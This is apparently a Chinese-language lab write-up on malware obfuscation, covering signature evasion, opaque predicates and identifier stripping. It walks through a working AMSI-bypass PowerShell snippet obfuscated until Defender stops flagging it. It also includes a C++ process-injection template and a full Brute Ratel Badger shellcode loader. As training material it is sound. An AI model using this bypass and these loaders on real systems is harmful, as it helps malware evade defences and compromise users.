
Obfuscation Principles(混淆原理)
1.Origins of Obfuscation(混淆的起源)
混淆广泛应用于许多软件相关领域,以保护应用程序可能包含的 IP(知识产权)和其他专有信息。 例如,流行的游戏:Minecraft 使用混淆器 ProGuard 来混淆和最小化其 Java 类。 Minecraft 还发布了信息有限的混淆图,作为旧的未混淆类和新混淆类之间的转换器,以支持模组社区。 这只是公开使用混淆的多种方式的一个例子。为了记录和组织各种混淆方法,我们可以参考分层混淆:分层安全纸的软件混淆技术的分类法。本研究论文按层组织混淆方法,类似于 OSI 模型,但针对的是应用程序数据流。下图是每个分类层的完整概述。

然后将每个子层分解为可以实现子层总体目标的具体方法。 在这个房间里,我们将主要关注分类法的代码元素层,如下图所示。

要使用分类法,我们可以确定一个目标,然后选择适合我们要求的方法。例如,假设我们想要混淆代码的布局,但无法修改现有代码。在这种情况下,我们可以注入垃圾代码,按分类法总结:
Code Element Layer
> Obfuscating Layout
> Junk Codes
.
但这怎么可能被恶意利用呢?对手和恶意软件开发人员可以利用混淆来破坏签名或阻止程序分析。在接下来的任务中,我们将讨论恶意软件混淆的两个视角,包括每个视角的目的和底层技术。
2.Obfuscation’s Function for Static Evasion(混淆的静态规避功能)
对手面临的两个更重要的安全边界是防病毒引擎和 EDR(端点检测和响应)解决方案。正如防病毒简介室中所述,这两个平台都将利用广泛的已知签名数据库(称为静态签名)以及考虑应用程序行为的启发式签名。 为了逃避签名,攻击者可以利用广泛的逻辑和语法规则来实施混淆。这通常是通过滥用数据混淆实践来实现的,这些做法在合法应用程序中隐藏重要的可识别信息。 上述白皮书:分层混淆分类法在代码元素层下很好地总结了这些实践。下面是混淆数据子层中分类法涵盖的方法表。

Obfuscation Method | Purpose |
---|---|
Array Transformation | Transforms an array by splitting, merging, folding, and flattening |
Data Encoding | Encodes data with mathematical functions or ciphers |
Data Procedurization | Substitutes static data with procedure calls |
Data Splitting/Merging | Distributes information of one variable into several new variables |
在接下来的任务中,我们将主要关注数据拆分/合并;由于静态签名较弱,我们在初始混淆时一般只需要关注这一方面。 查看编码/打包/绑定器/加密室以获取有关数据编码的更多信息,查看签名规避室以获取有关数据程序化和转换的更多信息。
3.Object Concatenation(对象串联)
连接是一种常见的编程概念,它将两个单独的对象组合成一个对象,例如字符串。 预定义的运算符定义了在何处进行串联以组合两个独立的对象。下面是 Python 中字符串连接的通用示例。
>>> A = "Hello "
>>> B = "THM"
>>> C = A + B
>>> print(C)
Hello THM
>>>
根据程序中使用的语言,可能存在不同或多个可用于串联的预定义运算符。下面是一个常见语言及其相应预定义运算符的小表。
Language | Concatenation Operator |
---|---|
Python | “+” |
PowerShell | “+”, ”,”, ”$”, or no operator at all |
C# | “+”, “String.Join”, “String.Concat” |
C | “strcat” |
C++ | “+”, “append” |
前面提到的白皮书:分层混淆分类法,在代码元素层的数据拆分/合并子层下很好地总结了这些实践。
这对攻击者意味着什么?连接可以为多个向量打开大门,以修改签名或操纵应用程序的其他方面。恶意软件中最常见的串联示例是破坏目标静态签名,如签名规避室中所述。攻击者还可以先发制人地使用它来分解程序的所有对象,并尝试立即删除所有签名而不追捕它们,这在任务 9 中介绍的混淆器中很常见。 下面我们将观察静态 Yara 规则并尝试使用串联来规避静态签名。
rule ExampleRule
{
strings:
$text_string = "AmsiScanBuffer"
$hex_string = { B8 57 00 07 80 C3 }
condition:
$my_text_string or $my_hex_string
}
当使用 Yara 扫描已编译的二进制文件时,如果存在定义的字符串,它将创建一个积极的警报/检测。使用串联,字符串在功能上可以相同,但在扫描时将显示为两个独立的字符串,从而不会产生警报。
IntPtr ASBPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");

IntPtr ASBPtr = GetProcAddress(TargetDLL, "Amsi" + "Scan" + "Buffer");
如果使用 Yara 规则扫描第二个代码块,则不会有警报!
除了连接之外,攻击者还可以使用非解释字符来破坏或混淆静态签名。这些可以独立使用或串联使用,具体取决于签名的强度/实现。下表列出了我们可以利用的一些常见的非解释字符。
Character | Purpose | Example |
---|---|---|
Breaks | Break a single string into multiple sub strings and combine them | ('co'+'ffe'+'e') |
Reorders | Reorder a string’s components | ('{1}{0}'-f'ffee','co') |
Whitespace | Include white space that is not interpreted | .( 'Ne' +'w-Ob' + 'ject') |
Ticks | Include ticks that are not interpreted | d ownLoAd String |
Random Case | Tokens are generally not case sensitive and can be any arbitrary case | dOwnLoAdsTRing |
使用您在整个任务中积累的知识,混淆以下 PowerShell 片段,直到它逃避 Defender 的检测。
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
为了帮助您入门,我们建议分解代码的每个部分并观察它如何交互或被检测。然后,您可以打破独立部分中存在的签名,并向其中添加另一个部分,直到获得干净的代码片段。 一旦您认为您的代码片段已被充分混淆,请将其提交到位于 http://MACHINE_IP 的网络服务器;如果成功,弹出窗口中将出现一个标志。 如果您仍然遇到困难,我们在下面提供了解决方案的演练。
要开始尝试清理此代码片段,我们需要对其进行分解并了解警报的来源。 我们可以打破每个 cmdlet 所在的代码片段(GetField、SetValue)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static')
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
让我们执行第一个代码片段,看看 PowerShell 返回什么。
PS M:\\> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
At line:1 char:1
+ [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
这没什么奇怪的……我们可以通过分解 .NET 程序集并查看哪个部分导致警报来进一步分解此片段
PS M:\\> [Ref].Assembly.GetType('System')
PS M:\\> [Ref].Assembly.GetType('System.Management')
PS M:\\> [Ref].Assembly.GetType('System.Management.Automation')
PS M:\\> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
At line:1 char:1
+ [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
我们现在知道 AmsiUtils 直接促成了警报。接下来,我们可以通过串联来将其分解并尝试使该部分变得干净。
PS M:\\> [Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils')
IsPublic IsSerial Name BaseType
-------- -------- ---- --------
False False AmsiUtils System.Object
成功!现在我们可以将下一个代码片段附加到第一个代码片段的干净版本中并执行它。
PS M:\\> [Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils').GetField('amsiInitFailed','NonPublic,Static')
At line:1 char:1
+ [Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils' ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
现在这个片段可能更难追踪……凭借对 PowerShell 的一些先验知识,我们可以假设 NonPublic 和 Static 都是非常标准的,不会对签名做出贡献。我们可以假设 amsiInitFailed 是 Defender 正在发出警报的对象并尝试将其拆分。
PS M:\\> [Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils').GetField('amsi'+'Init'+'Failed','No'+'nPublic,S'+'tatic')
Name : amsiInitFailed
MetadataToken : 67114384
[snip]
...
[snip]
IsSecurityTransparent : False
CustomAttributes : {}
成功!现在我们可以将下一个代码片段附加到第一个和第二个代码片段的干净版本中并执行它。
PS M:\\> [Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils').GetField('amsi'+'Init'+'Failed','No'+'nPublic,S'+'tatic').SetValue($null,$true)
At line:1 char:1
+ [Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils' ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
PS M:\\>
这很有趣,似乎没有任何参数值会导致此警报?这必定意味着 Defender 会同时对每个 cmdlet 的存在发出警报,以确定它是恶意代码段。为了解决这个问题,我们需要将 cmdlet 与代码片段的其余部分分开。这种技术称为相关代码分离,通常与串联一起出现,我们将在任务 8 中进一步介绍这个概念。
PS M:\\> $Value="SetValue"
PS M:\\> [Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils').GetField('amsi'+'Init'+'Failed','No'+'nPublic,S'+'tatic').$Value($null,$true)
PS M:\\>
成功!没有更多警报,因此我们现在有一个可以使用的干净片段!将此干净的代码片段提交到 http://MACHINE_IP 并获取标志。
4. Obfuscation’s Function for Analysis Deception(混淆的分析欺骗功能)
在混淆恶意代码的基本功能后,它可能能够通过软件检测,但仍然容易受到人类分析。虽然没有进一步的策略就不是安全边界,但分析师和逆向工程师可以深入了解我们的恶意应用程序的功能并停止操作。 对手可以利用先进的逻辑和数学来创建更复杂、更难以理解的代码来对抗分析和逆向工程。 有关逆向工程的更多信息,请查看恶意软件分析模块。 上述白皮书:分层混淆分类法在代码元素层的其他子层下很好地总结了这些实践。下面是混淆布局和混淆控制子层中的分类所涵盖的方法表。

Obfuscation Method | Purpose |
---|---|
Junk Code | Add junk instructions that are non-functional, also known as a code stubs |
Separation of Related Code | Separate related codes or instructions to increase difficulty in reading the program |
Stripping Redundant Symbols | Strips symbolic information such as debug information or other symbol tables |
Meaningless Identifiers | Transform a meaningful identifier to something meaningless |
Implicit Controls | Converts explicit controls instructions to implicit instructions |
Dispatcher-based Controls | Determines the next block to be executed during the runtime |
Probabilistic Control Flows | Introduces replications of control flows with the same semantics but different syntax |
Bogus Control Flows | Control flows deliberately added to a program but will never be executed |
在接下来的任务中,我们将以不可知的格式演示上述几种方法。 查看沙盒规避室,了解有关反分析和反逆向的更多信息
5.Code Flow and Logic(代码流程和逻辑)
控制流是程序执行的关键组成部分,它将定义程序如何逻辑地进行。逻辑是应用程序控制流最重要的决定因素之一,包含各种用途,例如 if/else 语句或 for 循环。传统上,程序是自上而下执行的;当遇到逻辑语句时,会按照该语句继续执行。 下表列出了在处理控制流或程序逻辑时可能会遇到的一些逻辑语句。
Logic Statement | Purpose |
---|---|
if/else | Executes only if a condition is met, else it will execute a different code block |
try/catch | Will try to execute a code block and catch it if it fails to handle errors. |
switch case | A switch will follow similar conditional logic to an if statement but checks several different possible conditions with cases before resolving to a break or default |
for/while loop | A for loop will execute for a set amount of a condition. A while loop will execute until a condition is no longer met. |
为了使这个概念具体化,我们可以观察一个示例函数及其相应的 CFG(控制流图)来描述它可能的控制流路径。
x = 10
if(x > 7):
print("This executes")
else:
print("This is ignored")

这对攻击者意味着什么?分析人员可以尝试通过控制流来理解程序的功能;虽然存在问题,但逻辑和控制流程几乎可以轻松操纵并造成任意混乱。在处理控制流时,攻击者的目标是引入足够多的晦涩且任意的逻辑来迷惑分析人员,但又不会引入太多的逻辑来引起进一步的怀疑或可能被平台检测为恶意。 在接下来的任务中,我们将讨论攻击者可以用来迷惑分析师的不同控制流模式。
6. Arbitrary Control Flow Patterns(任意控制流模式)
为了制作任意控制流模式,我们可以利用数学、逻辑和/或其他复杂算法将不同的控制流注入恶意函数中。 我们可以利用谓词来设计这些复杂的逻辑和/或数学算法。谓词是指输入函数返回 true 或 false 的决策。从高层次上分解这个概念,我们可以想到一个类似于 if 语句用来确定是否执行代码块的条件的谓词,如上一个任务中的示例所示。 将此概念应用于混淆,不透明谓词用于控制已知的输出和输入。论文《不透明谓词:混淆二进制代码中的攻击和防御》指出,“不透明谓词是混淆器已知但难以推断其值的谓词。它可以与其他混淆方法(例如垃圾代码)无缝应用,将逆向工程尝试变成艰巨的工作。”不透明谓词属于分类论文的虚假控制流和概率控制流方法;它们可用于向程序任意添加逻辑或重构预先存在的函数的控制流。 不透明谓词这一主题需要对数学和计算原理有更深入的了解,因此我们不会深入讨论它,但我们会观察一个常见的例子。 显示 Collatz 猜想的各种逻辑路径的控制流程图 Collatz 猜想是一个常见的数学问题,可以用作不透明谓词的示例。它指出:如果重复两个算术运算,它们将从每个正整数中返回一个。事实上,我们知道对于已知输入(正整数)它总是会输出一个,这意味着它是一个可行的不透明谓词。有关 Collatz 猜想的更多信息,请参阅 Collatz 问题。下面是 Collatz 猜想在 Python 中的应用示例。

x = 0
while(x > 1):
if(x%2==1):
x=x*3+1
else:
x=x/2
if(x==1):
print("hello!")
在上面的代码片段中,Collatz 猜想仅在 x > 1 时执行其数学运算,结果为 1 或 TRUE。根据 Collatz 问题的定义,对于正整数输入,它将始终返回 1,因此如果 x 是大于 1 的正整数,则该语句将始终返回 true。 为了证明这个不透明谓词的功效,我们可以观察右边它的CFG(控制流图)。如果这就是解释函数的样子,那么想象一下对于分析师来说,编译函数可能是什么样子。
使用您在整个任务中积累的知识,将自己置于分析师的位置,并尝试解码下面代码片段的原始函数和输出。 如果您正确遵循打印语句,将会产生一个您可以提交的标志。
x = 3
swVar = 1
a = 112340857612345
b = 1122135047612359087
i = 0
case_1 = ["T","d","4","3","3","3","e","1","g","w","p","y","8","4"]
case_2 = ["1a","H","3a","4a","5a","3","7a","8a","d","10a","11a","12a","!","14a"]
case_3 = ["1b","2b","M","4b","5b","6b","c","8b","9b","3","11b","12b","13b","14b"]
case_4 = ["1c","2c","3c","{","5c","6c","7c","8c","9c","10c","d","12c","13c","14c"]
case_5 = ["1d","2d","3d","4d","D","6d","7d","o","9d","10d","11d","!","13d","14d"]
case_6 = ["1e","2e","3e","4e","5e","6e","7e","8e","9e","10e","11e","12e","13e","}"]
while (x > 1):
if (x % 2 == 1):
x = x * 3 + 1
else:
x = x / 2
if (x == 1):
for y in case_1:
match swVar:
case 1:
print(case_1[i])
a = 2
b = 214025
swVar = 2
case 2:
print(case_2[i])
if (a > 10):
swVar = 6
else:
swVar = 3
case 3:
print(case_3[i])
b = b + a
if (b < 10):
swVar = 5
else:
swVar = 4
case 4:
print(case_4[i])
b -= b
swVar = 5
case 5:
print(case_5[i])
a += a
swVar = 2
case 6:
print(case_5[11])
print(case_6[i])
break
i = i + 1
7.Protecting and Stripping Identifiable Information(保护和剥离可识别信息)
可识别信息可能是分析人员可以用来剖析和尝试理解恶意程序的最关键组件之一。通过限制可识别信息的数量(变量、函数名称等),分析人员可以使攻击者更有可能无法重建其原始函数。 在较高层面上,我们应该考虑三种不同类型的可识别数据:代码结构、对象名称和文件/编译属性。在这项任务中,我们将分解每个概念的核心概念,并对每个概念的实用方法进行案例研究。
(1)对象名称
对象名称提供了对程序功能的一些最重要的了解,并且可以揭示函数的确切用途。分析师仍然可以从函数的行为中解构函数的用途,但如果函数没有上下文,这会困难得多。 文字对象名称的重要性可能会根据语言是编译还是解释而改变。如果使用 Python 或 PowerShell 等解释性语言,则所有对象都很重要并且必须进行修改。如果使用诸如 C 或 C# 之类的编译语言,则通常只有出现在字符串中的对象才有意义。对象可以通过任何产生 IO 操作的函数出现在字符串中。 前面提到的白皮书:分层混淆分类法,在代码元素层的无意义标识符方法下很好地总结了这些实践。 下面我们将观察两个为解释语言和编译语言替换有意义的标识符的基本示例。
作为编译语言的示例,我们可以观察到用 C++ 编写的进程注入器,它向命令行报告其状态。
#include "windows.h"
#include <iostream>
#include <string>
using namespace std;
int main(int argc, char* argv[])
{
unsigned char shellcode[] = "";
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
string leaked = "This was leaked in the strings";
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
cout << "Handle obtained for" << processHandle;
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
cout << "Buffer Created";
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
cout << "Process written with buffer" << remoteBuffer;
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);
cout << "Closing handle" << processHandle;
cout << leaked;
return 0;
}
让我们使用字符串来准确查看编译此源代码时泄漏的内容。
C:\>.\strings.exe "\Injector.exe"
Strings v2.54 - Search for ANSI and Unicode strings in binary images.
Copyright (C) 1999-2021 Mark Russinovich
Sysinternals - www.sysinternals.com
!This program cannot be run in DOS mode.
>FU
z';
z';
...
[snip]
...
Y_^[
leaked
shellcode
2_^[]
...
[snip]
...
std::_Adjust_manually_vector_aligned
"invalid argument"
string too long
This was leaked in the strings
Handle obtained for
Buffer Created
Process written with buffer
Closing handle
std::_Allocate_manually_vector_aligned
bad allocation
Stack around the variable '
...
[snip]
...
8@9H9T9X9\\9h9|9
:$:(:D:H:
@1p1
请注意,所有 iostream 都被写入字符串,甚至 shellcode 字节数组也被泄漏。这是一个较小的程序,所以想象一下一个充实且未混淆的程序会是什么样子!我们可以删除注释并替换有意义的标识符来解决这个问题。
#include "windows.h"
int main(int argc, char* argv[])
{
unsigned char awoler[] = "";
HANDLE awerfu;
HANDLE rwfhbf;
PVOID iauwef;
awerfu = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
iauwef = VirtualAllocEx(awerfu, NULL, sizeof awoler, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(awerfu, iauwef, awoler, sizeof awoler, NULL);
rwfhbf = CreateRemoteThread(awerfu, NULL, 0, (LPTHREAD_START_ROUTINE)iauwef, NULL, 0, NULL);
CloseHandle(awerfu);
return 0;
}
我们不应该再有任何可识别的字符串信息,并且程序可以安全地进行字符串分析。
作为解释语言的示例,我们可以观察 BRC4 社区工具包中已弃用的 Badger PowerShell 加载程序。
Set-StrictMode -Version 2
[Byte[]] $Ait1m = @(0x3d, 0x50, 0x51, 0x57, 0x50, 0x4e, 0x5f, 0x50, 0x4f, 0x2f, 0x50, 0x57, 0x50, 0x52, 0x4c, 0x5f, 0x50)
[Byte[]] $ahv3I = @(0x34, 0x59, 0x38, 0x50, 0x58, 0x5a, 0x5d, 0x64, 0x38, 0x5a, 0x4f, 0x60, 0x57, 0x50)
[Byte[]] $Moo5y = @(0x38, 0x64, 0x2f, 0x50, 0x57, 0x50, 0x52, 0x4c, 0x5f, 0x50, 0x3f, 0x64, 0x5b, 0x50)
[Byte[]] $ooR5o = @(0x2e, 0x57, 0x4c, 0x5e, 0x5e, 0x17, 0x0b, 0x3b, 0x60, 0x4d, 0x57, 0x54, 0x4e, 0x17, 0x0b, 0x3e, 0x50, 0x4c, 0x57, 0x50, 0x4f, 0x17, 0x0b, 0x2c, 0x59, 0x5e, 0x54, 0x2e, 0x57, 0x4c, 0x5e, 0x5e, 0x17, 0x0b, 0x2c, 0x60, 0x5f, 0x5a, 0x2e, 0x57, 0x4c, 0x5e, 0x5e)
[Byte[]] $Reo5o = @(0x3d, 0x60, 0x59, 0x5f, 0x54, 0x58, 0x50, 0x17, 0x0b, 0x38, 0x4c, 0x59, 0x4c, 0x52, 0x50, 0x4f)
[Byte[]] $Reib3 = @(0x3d, 0x3f, 0x3e, 0x5b, 0x50, 0x4e, 0x54, 0x4c, 0x57, 0x39, 0x4c, 0x58, 0x50, 0x17, 0x0b, 0x33, 0x54, 0x4f, 0x50, 0x2d, 0x64, 0x3e, 0x54, 0x52, 0x17, 0x0b, 0x3b, 0x60, 0x4d, 0x57, 0x54, 0x4e)
[Byte[]] $Thah8 = @(0x3b, 0x60, 0x4d, 0x57, 0x54, 0x4e, 0x17, 0x0b, 0x33, 0x54, 0x4f, 0x50, 0x2d, 0x64, 0x3e, 0x54, 0x52, 0x17, 0x0b, 0x39, 0x50, 0x62, 0x3e, 0x57, 0x5a, 0x5f, 0x17, 0x0b, 0x41, 0x54, 0x5d, 0x5f, 0x60, 0x4c, 0x57)
[Byte[]] $ii5Ie = @(0x34, 0x59, 0x61, 0x5a, 0x56, 0x50)
[Byte[]] $KooG5 = @(0x38, 0x54, 0x4e, 0x5d, 0x5a, 0x5e, 0x5a, 0x51, 0x5f, 0x19, 0x42, 0x54, 0x59, 0x1e, 0x1d, 0x19, 0x40, 0x59, 0x5e, 0x4c, 0x51, 0x50, 0x39, 0x4c, 0x5f, 0x54, 0x61, 0x50, 0x38, 0x50, 0x5f, 0x53, 0x5a, 0x4f, 0x5e)
[Byte[]] $io9iH = @(0x32, 0x50, 0x5f, 0x3b, 0x5d, 0x5a, 0x4e, 0x2c, 0x4f, 0x4f, 0x5d, 0x50, 0x5e, 0x5e)
[Byte[]] $Qui5i = @(0x32, 0x50, 0x5f, 0x38, 0x5a, 0x4f, 0x60, 0x57, 0x50, 0x33, 0x4c, 0x59, 0x4f, 0x57, 0x50)
[Byte[]] $xee2N = @(0x56, 0x50, 0x5d, 0x59, 0x50, 0x57, 0x1e, 0x1d)
[Byte[]] $AD0Pi = @(0x41, 0x54, 0x5d, 0x5f, 0x60, 0x4c, 0x57, 0x2c, 0x57, 0x57, 0x5a, 0x4e)
[Byte[]] $ahb3O = @(0x41, 0x54, 0x5d, 0x5f, 0x60, 0x4c, 0x57, 0x3b, 0x5d, 0x5a, 0x5f, 0x50, 0x4e, 0x5f)
[Byte[]] $yhe4c = @(0x2E, 0x5D, 0x50, 0x4C, 0x5F, 0x50, 0x3F, 0x53, 0x5D, 0x50, 0x4C, 0x4F)
function Get-Robf ($b3tz) {
$aisN = [System.Byte[]]::new($b3tz.Count)
for ($x = 0; $x -lt $aisN.Count; $x++) {
$aisN[$x] = ($b3tz[$x] + 21)
}
return [System.Text.Encoding]::ASCII.GetString($aisN)
}
function Get-PA ($vmod, $vproc) {
$a = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\\\')[-1].Equals('System.dll') }).GetType((Get-Robf $KooG5))
return ($a.GetMethod((Get-Robf $io9iH), [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null)).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($a.GetMethod((Get-Robf $Qui5i))).Invoke($null, @($vmod)))), $vproc))
}
function Get-TDef {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$vtdef = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName((Get-Robf $Ait1m))), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule((Get-Robf $ahv3I), $false).DefineType((Get-Robf $Moo5y), (Get-Robf $ooR5o), [System.MulticastDelegate])
$vtdef.DefineConstructor((Get-Robf $Reib3), [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags((Get-Robf $Reo5o))
$vtdef.DefineMethod((Get-Robf $ii5Ie), (Get-Robf $Thah8), $var_return_type, $var_parameters).SetImplementationFlags((Get-Robf $Reo5o))
return $vtdef.CreateType()
}
[Byte[]]$vopcode = @(BADGER_SHELLCODE)
$vbuf = ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Get-PA (Get-Robf $xee2N) (Get-Robf $AD0Pi)), (Get-TDef @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))).Invoke([IntPtr]::Zero, $vopcode.Length, 0x3000, 0x04)
[System.Runtime.InteropServices.Marshal]::Copy($vopcode, 0x0, $vbuf, $vopcode.length)
([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Get-PA (Get-Robf $xee2N) (Get-Robf $ahb3O)), (Get-TDef @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))).Invoke($vbuf, $vopcode.Length, 0x20, [ref](0)) | Out-Null
([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Get-PA (Get-Robf $xee2N) (Get-Robf $yhe4c)), (Get-TDef @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([UInt32])))).Invoke(0, 0, $vbuf, [IntPtr]0, 0, [ref](0)) | Out-Null
您可能会注意到一些 cmdlet 和函数保持其原始状态……这是为什么?根据您的目标,您可能希望创建一个应用程序,该应用程序在检测后仍然可以使逆向工程师感到困惑,但可能不会立即看起来可疑。如果恶意软件开发人员混淆所有 cmdlet 和函数,则会增加解释语言和编译语言的熵,从而导致更高的 EDR 警报分数。如果解释的片段看似随机或明显严重混淆,它还可能导致日志中出现可疑的解释片段。
(2)代码结构
在处理经常被忽视且不易识别的恶意代码的各个方面时,代码结构可能是一个令人烦恼的问题。如果解释语言和编译语言都没有得到充分解决,则可能会导致分析人员签名或更容易进行逆向工程。 正如前面提到的分类学论文中所述,垃圾代码和重新排序代码都被广泛用作附加措施来增加解释程序的复杂性。由于该程序未经编译,因此分析人员可以更深入地了解该程序,并且如果没有人为地夸大复杂性,他们可以专注于应用程序的确切恶意功能。 相关代码的分离可能会影响解释语言和编译语言,并导致可能难以识别的隐藏签名。启发式签名引擎可以根据周围的函数或 API 调用来确定程序是否是恶意的。为了规避这些签名,攻击者可以随机化相关代码的出现,以欺骗引擎,使其相信这是一个安全的调用或函数。
(3)文件和编译属性
已编译二进制文件的更多次要方面(例如编译方法)可能看起来不是关键组件,但它们可以带来多种优势来帮助分析人员。例如,如果程序被编译为调试版本,则分析人员可以获得所有可用的全局变量和其他程序信息。 当程序被编译为调试版本时,编译器将包含一个符号文件。符号通常有助于调试二进制映像,并且可以包含全局和局部变量、函数名称和入口点。攻击者必须意识到这些可能的问题,以确保正确的编译实践,并且不会将任何信息泄露给分析人员。 对于攻击者来说幸运的是,符号文件可以通过编译器或编译后轻松删除。要从 Visual Studio 这样的编译器中删除符号,我们需要将编译目标从 Debug 更改为 Release,或者使用像 mingw 这样的轻量级编译器。 如果我们需要从预编译映像中删除符号,我们可以使用命令行实用程序:strip。 前面提到的白皮书《Layered Obfuscation Taxonomy》在码元层剥离冗余符号的方法下很好地总结了这些做法。 下面是使用 strip 从启用调试的 gcc 编译的二进制文件中删除符号的示例。
在积极使用工具之前应考虑其他几个属性,例如熵或哈希。这些概念包含在签名规避室的任务 5 中。
利用您在整个任务中积累的知识,使用 AttackBox 或您自己的虚拟机从下面的 C++ 源代码中删除任何有意义的标识符或调试信息。 一旦充分混淆和剥离,使用 MingW32-G++ 编译源代码并将其提交到位于 http://10.10.116.159/ 的网络服务器。 注意:文件名必须是challenge-8.exe才能接收标志。
#include "windows.h"
#include <iostream>
#include <string>
using namespace std;
int main(int argc, char* argv[])
{
unsigned char shellcode[] = "";
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
string leaked = "This was leaked in the strings";
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
cout << "Handle obtained for" << processHandle;
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
cout << "Buffer Created";
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
cout << "Process written with buffer" << remoteBuffer;
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);
cout << "Closing handle" << processHandle;
cout << leaked;
return 0;
}

